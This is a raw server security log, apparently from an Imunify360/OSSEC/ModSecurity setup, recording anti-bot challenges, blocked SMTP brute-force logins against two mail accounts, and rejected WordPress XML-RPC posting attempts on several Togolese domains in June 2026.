103.108.92.89 - - [20/Jun/2026:16:38:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:38:05 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.17
country_id: 798544
description:
Jun 20 16:40:36 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.86.122.0
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1522156424 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.168.201.198
country_id: 6252001
description:
Jun 20 16:43:54 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.168.201.198 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:16:44:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10273941&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973862 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:44:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133257&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973862 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:45:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053984&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973917 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:16:45:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6779034&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973917 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:16:44:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726357&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781973872 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:46:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:59548: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:48:06 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:60100: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:47:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:59920: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:48:58 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:48:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:60259: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:49:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:60514: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6615253cffe2705a70a4cae9d4c764ca1fa7ab50||Title:zbini240gi6nl1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (124.107.100.72) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:49:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:60510: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:49:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:50:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:50:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:61119: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:51:12 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:61743: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c3a97cf70a04a8d55d049ba2de3d11eaad9212c9||Title:iljfvpzox6q48y0zu||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:50:57 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:50:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c44f72e2ddd5a767de84113e1462526ee7de4524||Title:sr0r1wag1jpv0bh783||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (49.148.47.227) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4a34abff7512c288407ee7869b802cafec303a43||Title:dms6tnd2x70fgbu4p||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (124.107.20.111) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:51:28 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:51:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:61777: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:279bd3f9be79608e18448189cf951315059ea6a4||Title:574mpmz6alfauh||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:52:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:62592: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (58.69.115.115) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:52:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:52:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:62585: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3ae94a8d3453a6edd8205f9beae7950ac14dccb9||Title:69m2vj32a3wkhud||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (119.93.31.224) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:48129c1a0691b59cb63e2aa67d79680cc220723e||Title:f0u4j7asra1xk8||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8931225681b50f61ad24092d60b22a536483afb4||Title:4bub8f6h3yw9rwkpd0||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f46cd53a17891d91a34a89c511e6217b742261d||Title:6ovufl8fjt3hls||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:45ecfba8c24bddaa7b7ec9b345c00b080407785b||Title:4523l8o42b2cg1wqb6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:53:28 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:53:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:62852: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:53:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:62851: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:54:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63040: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9abd45429bf0e45dfa1221331cbe610ffba5cda5||Title:fxx3jg356bka0lpnp||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:54:28 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:54:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63034: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:699ba044f545ab59bbb31540dc2d2e0af6c4b16d||Title:vqkvrb9kabwo69c1ll||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1f82074f1795daae39a7721b9398bcde050f8090||Title:fpzn0s3i7ca1moew||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:54ca24ee50c728fcb2a7b3a5ab8096585fe2b173||Title:prwhlys0gnoxni8c75||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2095f5efab811e6d062e01cec130ccf46aacce27||Title:f8f63leo71ytvy44d||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2bf8216eeba64028f760a7313f3feaa8e92f1c87||Title:ae8z3wfvwf1q2veagv||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:820b3448a786ba9479f034ea8fcbce9bb522a0b7||Title:jmk8cujkemg4cfd||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:55:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63195: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:55:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (49.145.188.119) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:55:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63228: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:56:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63473: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:56:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.234.62.207
country_id: 1522867
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/galerie HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9e20b61bbe62d750bcae4ecff4ad4f1e18f17427||Title:pnhqg19geef0d7nz69||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ccf28f99b2b917562b580695aaa8bd1a2cff5728||Title:npjl6ufwazu0lldee||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:56:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63493: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1a46d7ea1581d34aca9bd94b784fd2cf687baa29||Title:cxhgbly4ycvizb||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:57:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63584: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f16c5b65a6eb3ccb35e605ab42774cd18bb3312f||Title:wiho4i61gt1gktww||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
